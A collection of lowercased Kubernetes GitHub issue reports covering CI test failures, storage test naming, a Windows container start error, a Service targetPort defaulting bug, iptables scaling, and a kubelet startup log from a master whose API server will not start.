<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   \r \r   what happened  :\r this prints a list of failed  make verify  tests, very usefull while investigating and fixing  make verify .\r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r the linked  pr   49720  is already being approved. this is a reference issue. \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   \r   what happened  :\r some storage test names in e2e testgride have redundant tags:\r    \r  k8s.io   sig-storage  gcp volumes  k8s.io  glusterfs should be mountable\r  k8s.io   sig-storage  gcp volumes  k8s.io  nfsv3 should be mountable for nfsv3\r  k8s.io   sig-storage  gcp volumes  k8s.io  nfsv4 should be mountable for nfsv4\r  sig-storage  volume plugin streaming  slow   sig-storage  glusterfs should write files of various sizes, verify size, validate content\r  sig-storage  volume plugin streaming  slow   sig-storage  nfs should write files of various sizes, verify size, validate content\r    \r \r   what you expected to happen  :\r redundant tags should be removed

1.8.2 is pushed https://github.com/kubernetes/kubernetes/issues/54638. next step: 5.0.2 tag with release-notes.

is this a bug report or feature request?  :\r  @kubernetes/sig-scalability-bugs \r / umbrella issue: https://github.com/kubernetes/kubernetes/issues/56062\r \r   what happened  :\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/8938 failed with:\r    \r  ... \r i1213 21:01:40.555  waiting for 101 ready nodes. 73 ready nodes, 73 registered. retrying.\r i1213 21:01:55.982  detected 73 ready nodes, found 73 nodes out of expected 101. your cluster may not be fully functional.\r    \r \r subsequent runs were ok, but if this repeats we will need to investigate closer.

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r   >  \r \r   what happened  :\r \r create a pod, if ds.client.createcontainer returns error such as \ runcontainer: operation timeout: context deadline exceeded\   during syncpod, the network will not be setup while the sandbox remains success in docker. as a result, during the next syncpod, the because the sandbox pod is created, the network will never be setup.  \r \r   what you expected to happen  :\r \r the pod network should be setup finally.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r docker return “operation timeout: context deadline exceeded” when create sandbox container while the container remain success.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:17:39z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:05:37z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r \r local kvm machine\r \r - os  e.g. from /etc/os-release :\r \r    \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r    \r \r - kernel  e.g.  uname -a  :\r \r    \r linux centos-linux-7.shared 3.10.0-327.28.3.el7.x86_64  1 smp thu aug 18 19:05:49 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r    \r \r - install tools:\r - others:\r

 \r   what happened  :\r scheduling a container on windows 2019 results in \ error: failed to start container\ .\r \r   what you expected to happen  :\r pod should start, ping localhost\r \r   how to reproduce it  as minimally and precisely as possible   :\r - deploy  this  https://gist.github.com/benmoss/abd68923acaccb2ca10388ff69f9908b  deployment\r - pod should report as failing\r \r   anything else we need to know?  :\r we tried this deployment with both nanoserver:1809 and servercore:1809 and both exhibit the same problem. we can run both of those images via  docker run  and they start fine.\r \r we're using docker 18.03.1-ee-3, and flannel with the overlay backend.\r \r full error message from  kubectl describe pod :\r \r    \r error response from daemon: container windowswebserver encountered an error during createcontainer: failure in a windows system call: the parameter is incorrect.  0x57  extra info: {\ systemtype\ :\ container\ ,\ name\ :\ windowswebserver\ ,\ owner\ :\ docker\ ,\ volumepath\ :\ \\\\\\\\?\\\\volume{79402dc3-d182-11e8-a2cb-cec92004004a}\ ,\ ignoreflushesduringboot\ :true,\ layerfolderpath\ :\ c:\\\\programdata\\\\docker\\\\windowsfilter\\\\windowswebserver\ ,\ layers\ : {\ id\ :\ 4d1d619f-e731-5d80-9609-c7e0c25ccade\ ,\ path\ :\ c:\\\\programdata\\\\docker\\\\windowsfilter\\\\cc6cf29dec8f97281c8fc72d9ec5db437d34b6aad0c3344ff94fe346b36c023e\ } ,\ processorweight\ :5000,\ hostname\ :\ win-webserver-6545d59c4d-n9c45\ ,\ mappeddirectories\ : {\ hostpath\ :\ c:\\\\var\\\\lib\\\\kubelet\\\\pods\\\\fb9f05e8-d18c-11e8-a1af-005056bad04d\\\\volumes\\\\kubernetes.io~secret\\\\default-token-rfxk2\ ,\ containerpath\ :\ c:\\\\var\\\\run\\\\secrets\\\\kubernetes.io\\\\serviceaccount\ ,\ readonly\ :true,\ bandwidthmaximum\ :0,\ iopsmaximum\ :0,\ createinutilityvm\ :false} ,\ hvpartition\ :false,\ networksharedcontainername\ :\ f5e8564b0077b391b9cb3742544ad1ee6ad87d37d50d4621b0d35026e792b325\ ,\ endpointlist\ : \ 6d5a40ba-9e84-4607-abd0-6a36843c692e\  }\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11.3\r - cloud provider or hardware configuration: vsphere\r - os  e.g. from /etc/os-release : windows 2019\r - kernel  e.g.  uname -a  : 10.0.17763.1\r - install tools: bosh\r \r @patricklang \r 

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r in  master-upgrade  https://testgrid.k8s.io/sig-release-master-upgrade :\r -  gce-new-master-upgrade-cluster-new  https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster-new \r -  gce-new-master-upgrade-cluster-new-parallel  https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster-new-parallel \r \r   which test s  are failing  :\r -   sig-storage  csi volumes  driver: csi-hostpath   testpattern: dynamic pv  default fs   subpath should unmount if pod is gracefully deleted while kubelet is down  disruptive  slow  \r -   sig-storage  csi volumes  driver: pd.csi.storage.gke.io  serial   testpattern: dynamic pv  default fs   subpath should unmount if pod is gracefully deleted while kubelet is down  disruptive  slow  \r -   sig-storage  csi volumes  driver: pd.csi.storage.gke.io  serial   testpattern: dynamic pv  default fs   subpath should unmount if pod is force deleted while kubelet is down  disruptive  slow  \r -   sig-storage  csi volumes  driver: pd.csi.storage.gke.io  serial   testpattern: dynamic pv  ext3   volumes should be mountablechanges \r -   sig-storage  csi volumes  driver: csi-hostpath   testpattern: dynamic pv  default fs   subpath should unmount if pod is force deleted while kubelet is down  disruptive  slow  \r -   sig-storage  csi volumes  driver: pd.csi.storage.gke.io  serial   testpattern: dynamic pv  default fs   provisioning should provision storage with defaultschanges \r -   sig-storage  csi volumes  driver: pd.csi.storage.gke.io  serial   testpattern: dynamic pv  default fs   subpath should be able to unmount after the subpath directory is deletedchanges \r -   sig-storage  csi volumes  driver: pd.csi.storage.gke.io  serial   testpattern: dynamic pv  default fs   subpath should fail if non-existent subpath is outside the volume  slow changes \r -   sig-storage  csi volumes  driver: pd.csi.storage.gke.io  serial   testpattern: dynamic pv  default fs   subpath should fail if subpath directory is outside the volume  slow changes \r -   sig-storage  csi volumes  driver: pd.csi.storage.gke.io  serial   testpattern: dynamic pv  default fs   subpath should fail if subpath file is outside the volume  slow changes \r -   sig-storage  csi volumes  driver: pd.csi.storage.gke.io  serial   testpattern: dynamic pv  default fs   subpath should fail if subpath with backstepping is outside the volume  slow changes \r -   sig-storage  csi volumes  driver: pd.csi.storage.gke.io  serial   testpattern: dynamic pv  default fs   subpath should support creating multiple subpath from same volumes  slow changes \r -   sig-storage  csi volumes  driver: pd.csi.storage.gke.io  serial   testpattern: dynamic pv  default fs   subpath should support existing directories when readonly specified in the volumesourcechanges \r -   sig-storage  csi volumes  driver: pd.csi.storage.gke.io  serial   testpattern: dynamic pv  default fs   subpath should support existing directorychanges \r -   sig-storage  csi volumes  driver: pd.csi.storage.gke.io  serial   testpattern: dynamic pv  default fs   subpath should support existing single filechanges \r -   sig-storage  csi volumes  driver: pd.csi.storage.gke.io  serial   testpattern: dynamic pv  default fs   subpath should support file as subpathchanges \r -   sig-storage  csi volumes  driver: pd.csi.storage.gke.io  serial   testpattern: dynamic pv  default fs   subpath should support non-existent pathchanges \r -   sig-storage  csi volumes  driver: pd.csi.storage.gke.io  serial   testpattern: dynamic pv  default fs   subpath should support readonly directory specified in the volumemountchanges \r -   sig-storage  csi volumes  driver: pd.csi.storage.gke.io  serial   testpattern: dynamic pv  default fs   subpath should support readonly file specified in the volumemountchanges \r -   sig-storage  csi volumes  driver: pd.csi.storage.gke.io  serial   testpattern: dynamic pv  default fs   subpath should support restarting containers using directory as subpath  slow changes \r -   sig-storage  csi volumes  driver: pd.csi.storage.gke.io  serial   testpattern: dynamic pv  default fs   subpath should support restarting containers using file as subpath  slow changes \r -   sig-storage  csi volumes  driver: pd.csi.storage.gke.io  serial   testpattern: dynamic pv  default fs   subpath should verify container cannot write to subpath readonly volumeschanges \r -   sig-storage  csi volumes  driver: pd.csi.storage.gke.io  serial   testpattern: dynamic pv  default fs   volumeio should write files of various sizes, verify size, validate content  slow changes \r -   sig-storage  csi volumes  driver: pd.csi.storage.gke.io  serial   testpattern: dynamic pv  default fs   volumes should allow exec of files on the volumechanges \r -   sig-storage  csi volumes  driver: pd.csi.storage.gke.io  serial   testpattern: dynamic pv  default fs   volumes should be mountablechanges \r -   sig-storage  csi volumes  driver: pd.csi.storage.gke.io  serial   testpattern: dynamic pv  ext3   volumes should allow exec of files on the volumechanges \r -   sig-storage  csi volumes  driver: pd.csi.storage.gke.io  serial   testpattern: dynamic pv  ext4   volumes should allow exec of files on the volumechanges \r -   sig-storage  csi volumes  driver: pd.csi.storage.gke.io  serial   testpattern: dynamic pv  ext4   volumes should be mountablechanges \r -   sig-storage  csi volumes  driver: pd.csi.storage.gke.io  serial   testpattern: dynamic pv  filesystem volmode   volumemode should create sc, pod, pv, and pvc, read/write to the pv, and delete all created resources \r \r   since when has it been failing  :\r january 31st, 2019\r \r   testgrid link  :\r https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster-new-parallel/1176\r \r   reason for failure  :\r seem to be different versions of timeouts:\r    \r persistentvolumeclaims  pvc-9447w  not all in phase bound within 5m0s\r    \r \r    \r timed out waiting for the condition\r    \r \r    \r gave up after waiting 5m0s for pod \ pod-subpath-test-pd-csi-storage-gke-io-dynamicpv-rwlf\  to be \ success or failure\ \r    \r \r    \r gave up after waiting 5m0s for pod \\\ csi-injector-22rh\\\  to be \\\ success or failure\\\ \ \r    \r \r   anything else we need to know  :\r - coincides with the test-infra commit 1c0a3d856   diff since last passing commit  https://github.com/kubernetes/test-infra/compare/e62114bdc...1c0a3d856  \r - some sig-cluster-lifecycle tests started failing at the same time  https://github.com/kubernetes/kubernetes/issues/73705 \r \r cc @mortent @kacole2 @alejandrox1 @smourapina\r \r   

we need to enable csi volume expansion on kubelet side. \r \r xref - https://github.com/kubernetes/enhancements/pull/780\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r when using package  k8s.io/kubernetes/pkg/apis/core/v1  for setting defaults on  service  object, the  targetport  doesn't get populated correctly. after calling  setdefaults_service  on the  service  object, the target port gets assigned as the  port  field in  serviceport . this happening due to  this  https://github.com/kubernetes/kubernetes/blob/b49d429f64b40c181fdf99a7efec06fd8c306c0d/pkg/apis/core/v1/defaults.go l120  line. \r \r \r   what you expected to happen  :\r this should instead be   or  should have been an  and  :\r    \r if sp.targetport == intstr.fromint 0  && sp.targetport == intstr.fromstring \ \   {\r     \r i expect the targetport to not get defaulted to  port  in case a string is specified in  targetport  with  intval  unset. \r \r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r svc := corev1.service{\r         objectmeta: metav1.objectmeta{\r                 name:     \ test\ ,\r         },\r         spec: corev1.servicespec{\r                 selector: map string string{\ test\ : \ val\ },\r                 ports:      corev1.serviceport{corev1.serviceport{name: \ testsrc\ , port: 8080, targetport: intstr.intorstring{strval: \ testtarget\ }}},\r         },\r }\r corev1.setdefaults_service &svc \r    \r  svc.spec.port 0 .targetport  has the value  8080  instead of  testtarget  as it should be.\r \r   environment  :\r - kubernetes version  use  kubectl version  : latest\r \r i can push out this fix, if you can confirm the issue.\r

it turns out not every install runs docker with the right flags.  this can potentially mess with networking, restarting, and who knows what else.

this is  not bug, just confused about the design of nodeport & service.  > nodeport: use a cluster ip, but also expose the service on a port on each node of the cluster  the same port on each node   so the number of iptables rules for all service node will be several times the number of services  2 nat + 2 redirect at least . however, in actual use, my use case is one of a web server just work as front end service for one backend service out of the cluster. as a result, the unnecessary iptables and environment variables is kind of wasting resources.  now we have 1152 services, when i check on one machine.       root@l-kubecluster32.ops.cn1 ~   iptables-save|wc -l 9508      sometimes i got the error log in kube-proxy, and have to restart the kube-proxy.      e0917 16:18:36.027613   17145 proxier.go:248  failed to ensure portal for \ default/packetix-539:http\ : error checking rule: fork/exec /sbin/iptables-save: too many open files

<!-- this form is for bug reports and feature requests only! \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r >  \r \r   what happened  :\r my k8s cluster was fully functional with 1 master and 4 agent nodes. \r my services stopped responding to requests and noticed it a day later.  kubectl get nodes  , returned no resources found. agent nodes had kubelet running, didn't join cluster on reboot. \r i rebooted master server. now api-server, kube-control-manager, schedular pods dont start automatically. only kubelet is running. restarting kubelet is gives the same log output.\r  etcdctl ls registry/minions  returns nothing. \r \r   what you expected to happen  :\r expected on restarting kubelet on master, should automatically create api-server, kube-controller-manager pods. i am wondering :\r - why kubelet did not provision api-server first before trying to access it.\r - why did kubelet create a master node entry if it did not find one.\r \r    bash\r -- logs begin at sun 2017-07-30 18:51:30 utc. --\r aug 01 17:55:48 k8s-master-40834743-0 iptables 18980 : chain kube-mark-drop  0 references \r aug 01 17:55:48 k8s-master-40834743-0 iptables 18980 : target     prot opt source               destination\r aug 01 17:55:48 k8s-master-40834743-0 iptables 18980 : mark       all  --  anywhere             anywhere             mark or 0x8000\r aug 01 17:55:48 k8s-master-40834743-0 iptables 18980 : chain kube-mark-masq  0 references \r aug 01 17:55:48 k8s-master-40834743-0 iptables 18980 : target     prot opt source               destination\r aug 01 17:55:48 k8s-master-40834743-0 iptables 18980 : mark       all  --  anywhere             anywhere             mark or 0x4000\r aug 01 17:55:48 k8s-master-40834743-0 iptables 18980 : chain kube-postrouting  1 references \r aug 01 17:55:48 k8s-master-40834743-0 iptables 18980 : target     prot opt source               destination\r aug 01 17:55:48 k8s-master-40834743-0 iptables 18980 : masquerade  all  --  anywhere             anywhere             /  kubernetes service traffic requiring snat  / mark match 0x4000/0x4000\r aug 01 17:55:48 k8s-master-40834743-0 systemd 1 : started kubelet.\r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : flag --register-schedulable has been deprecated, will be removed in a future version\r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.635820   19014 feature_gate.go:144  feature gates: map  \r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.636209   19014 server.go:431  successfully initialized cloud provider: \ azure\  from the config file: \ /etc/kubernetes/azure.json\ \r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.636237   19014 server.go:616  cloud provider determined current node name to be k8s-master-40834743-0\r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.640779   19014 docker.go:364  connecting to docker on unix:///var/run/docker.sock\r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.640807   19014 docker.go:384  start docker client with request timeout=2m0s\r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.647370   19014 server.go:616  cloud provider determined current node name to be k8s-master-40834743-0\r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.647455   19014 manager.go:143  cadvisor running in container: \ /docker/58041c64763f630484abdb8808ee3b32cb57527955fa3b6039c93c9afe17e73f\ \r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : w0801 17:55:49.651255   19014 manager.go:151  unable to connect to rkt api service: rkt: cannot tcp dial rkt api service: dial tcp 127.0.0.1:15441: getsockopt: connection refused\r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.655038   19014 fs.go:117  filesystem partitions: map /dev/sda1:{mountpoint:/var/lib/docker/overlay major:8 minor:1 fstype:ext4 blocksize:0} \r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.656364   19014 manager.go:198  machine: {numcores:8 cpufrequency:2394456 memorycapacity:29501779968 machineid:8e025a21a4254e11b028584d9d8b12c4 systemuuid:d6a7f7f9-64d0-8c49-a8e6-6cfcc95a3d9d bootid:61bc1c40-b1cf-4b0b-a9e9-d60cb32bc526 filesystems: {device:/dev/sda1 capacity:31158935552 type:vfs inodes:3840000 hasinodes:true} {device:overlay capacity:31158935552 type:vfs inodes:3840000 hasinodes:true}  diskmap:map 8:16:{name:sdb major:8 minor:16 size:429496729600 scheduler:deadline} 8:32:{name:sdc major:8 minor:32 size:137438953472 scheduler:deadline} 2:0:{name:fd0 major:2 minor:0 size:4096 scheduler:deadline} 8:0:{name:sda major:8 minor:0 size:32212254720 scheduler:deadline}  networkdevices: {name:eth0 macaddress:00:0d:3a:23:41:5e speed:10000 mtu:1500}  topology: {id:0 memory:29501779968 cores: {id:0 threads: 0  caches: {size:32768 type:data level:1} {size:32768 type:instruction level:1} {size:262144 type:unified level:2} {size:31457280 type:unified level:3} } {id:1 threads: 1  caches: {size:32768 type:data level:1} {size:32768 type:instruction level:1} {size:262144 type:unified level:2} {size:31457280 type:unified level:3} } {id:2 threads: 2  caches: {size:32768 type:data level:1} {size:32768 type:instruction level:1} {size:262144 type:unified level:2} {size:31457280 type:unified level:3} } {id:3 threads: 3  caches: {size:32768 type:data level:1} {size:32768 type:instruction level:1} {size:262144 type:unified level:2} {size:31457280 type:unified level:3} } {id:4 threads: 4  caches: {size:32768 type:data level:1} {size:32768 type:instruction level:1} {size:262144 type:unified level:2} {size:31457280 type:unified level:3} } {id:5 threads: 5  caches: {size:32768 type:data level:1} {size:32768 type:instruction level:1} {size:262144 type:unified level:2} {size:31457280 type:unified level:3} } {id:6 threads: 6  caches: {size:32768 type:data level:1} {size:32768 type:instruction level:1} {size:262144 type:unified level:2} {size:31457280 type:unified level:3} } {id:7 threads: 7  caches: {size:32768 type:d\r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : ata level:1} {size:32768 type:instruction level:1} {size:262144 type:unified level:2} {size:31457280 type:unified level:3} }  caches:  }  cloudprovider:azure instancetype:unknown instanceid:d6a7f7f9-64d0-8c49-a8e6-6cfcc95a3d9d}\r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.656754   19014 manager.go:204  version: {kernelversion:4.4.0-87-generic containerosversion:debian gnu/linux 8  jessie  dockerversion:1.12.6 cadvisorversion: cadvisorrevision:}\r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.657300   19014 server.go:509  --cgroups-per-qos enabled, but --cgroup-root was not specified.  defaulting to /\r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.658731   19014 container_manager_linux.go:245  container manager verified user specified cgroup-root exists: /\r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.658750   19014 container_manager_linux.go:250  creating container manager object based on node config: {runtimecgroupsname: systemcgroupsname: kubeletcgroupsname: containerruntime:docker cgroupsperqos:true cgrouproot:/ cgroupdriver:cgroupfs protectkerneldefaults:false enablecri:true nodeallocatableconfig:{kubereservedcgroupname: systemreservedcgroupname: enforcenodeallocatable:map pods:{}  kubereserved:map   systemreserved:map   hardevictionthresholds: {signal:memory.available operator:lessthan value:{quantity:100mi percentage:0} graceperiod:0s minreclaim:<nil>} } experimentalqosreserved:map  }\r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.658864   19014 server.go:616  cloud provider determined current node name to be k8s-master-40834743-0\r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.658885   19014 server.go:802  using root directory: /var/lib/kubelet\r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.658928   19014 kubelet.go:320  cloud provider determined current node name to be k8s-master-40834743-0\r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.658945   19014 kubelet.go:255  adding manifest file: /etc/kubernetes/manifests\r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.658970   19014 file.go:48  watching path \ /etc/kubernetes/manifests\ \r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.658980   19014 kubelet.go:265  watching apiserver\r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : e0801 17:55:49.659856   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: get https://10.239.255.239:443/api/v1/pods?fieldselector=spec.nodename%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : e0801 17:55:49.659948   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:390: failed to list  v1.node: get https://10.239.255.239:443/api/v1/nodes?fieldselector=metadata.name%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : e0801 17:55:49.660296   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:382: failed to list  v1.service: get https://10.239.255.239:443/api/v1/services?resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.660558   19014 kubelet.go:494  hairpin mode set to \ promiscuous-bridge\ \r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.663494   19014 plugins.go:192  loaded network plugin \ kubenet\ \r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.671313   19014 plugins.go:192  loaded network plugin \ kubenet\ \r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.671334   19014 docker_service.go:187  docker cri networking managed by kubenet\r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.679967   19014 docker_service.go:204  setting cgroupdriver to cgroupfs\r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.683038   19014 docker_legacy.go:151  no legacy containers found, stop performing legacy cleanup.\r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.683088   19014 kubelet.go:573  starting the grpc server for the docker cri shim.\r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.683104   19014 docker_server.go:60  start dockershim grpc server\r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.685762   19014 remote_runtime.go:41  connecting to runtime service /var/run/dockershim.sock\r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.687198   19014 kuberuntime_manager.go:171  container runtime docker initialized, version: 1.12.6, apiversion: 1.24.0\r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.687453   19014 plugins.go:363  loaded volume plugin \ kubernetes.io/aws-ebs\ \r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.687484   19014 plugins.go:363  loaded volume plugin \ kubernetes.io/empty-dir\ \r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.687500   19014 plugins.go:363  loaded volume plugin \ kubernetes.io/gce-pd\ \r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.687513   19014 plugins.go:363  loaded volume plugin \ kubernetes.io/git-repo\ \r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.687527   19014 plugins.go:363  loaded volume plugin \ kubernetes.io/host-path\ \r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.687540   19014 plugins.go:363  loaded volume plugin \ kubernetes.io/nfs\ \r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.687554   19014 plugins.go:363  loaded volume plugin \ kubernetes.io/secret\ \r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.687568   19014 plugins.go:363  loaded volume plugin \ kubernetes.io/iscsi\ \r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.687586   19014 plugins.go:363  loaded volume plugin \ kubernetes.io/glusterfs\ \r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.687600   19014 plugins.go:363  loaded volume plugin \ kubernetes.io/rbd\ \r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.687614   19014 plugins.go:363  loaded volume plugin \ kubernetes.io/cinder\ \r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.687627   19014 plugins.go:363  loaded volume plugin \ kubernetes.io/quobyte\ \r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.687640   19014 plugins.go:363  loaded volume plugin \ kubernetes.io/cephfs\ \r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.687657   19014 plugins.go:363  loaded volume plugin \ kubernetes.io/downward-api\ \r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.687670   19014 plugins.go:363  loaded volume plugin \ kubernetes.io/fc\ \r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.687683   19014 plugins.go:363  loaded volume plugin \ kubernetes.io/flocker\ \r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.687697   19014 plugins.go:363  loaded volume plugin \ kubernetes.io/azure-file\ \r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.687710   19014 plugins.go:363  loaded volume plugin \ kubernetes.io/configmap\ \r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.687723   19014 plugins.go:363  loaded volume plugin \ kubernetes.io/vsphere-volume\ \r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.687737   19014 plugins.go:363  loaded volume plugin \ kubernetes.io/azure-disk\ \r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.687751   19014 plugins.go:363  loaded volume plugin \ kubernetes.io/photon-pd\ \r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.687805   19014 plugins.go:363  loaded volume plugin \ kubernetes.io/projected\ \r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.687830   19014 plugins.go:363  loaded volume plugin \ kubernetes.io/portworx-volume\ \r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.687850   19014 plugins.go:363  loaded volume plugin \ kubernetes.io/scaleio\ \r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.688467   19014 server.go:869  started kubelet v1.6.2\r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : e0801 17:55:49.688513   19014 kubelet.go:1165  image garbage collection failed: unable to find data for container /\r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.688683   19014 server.go:144  starting to listen read-only on 0.0.0.0:10255\r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.688712   19014 server.go:127  starting to listen on 0.0.0.0:10250\r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.688743   19014 kubelet_node_status.go:230  setting node annotation to enable volume controller attach/detach\r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : e0801 17:55:49.688828   19014 event.go:208  unable to write event: 'post https://10.239.255.239:443/api/v1/namespaces/default/events: dial tcp 10.239.255.239:443: getsockopt: connection refused'  may retry after sleeping \r aug 01 17:55:49 k8s-master-40834743-0 docker 18987 : i0801 17:55:49.689928   19014 server.go:294  adding debug handlers to kubelet server.\r 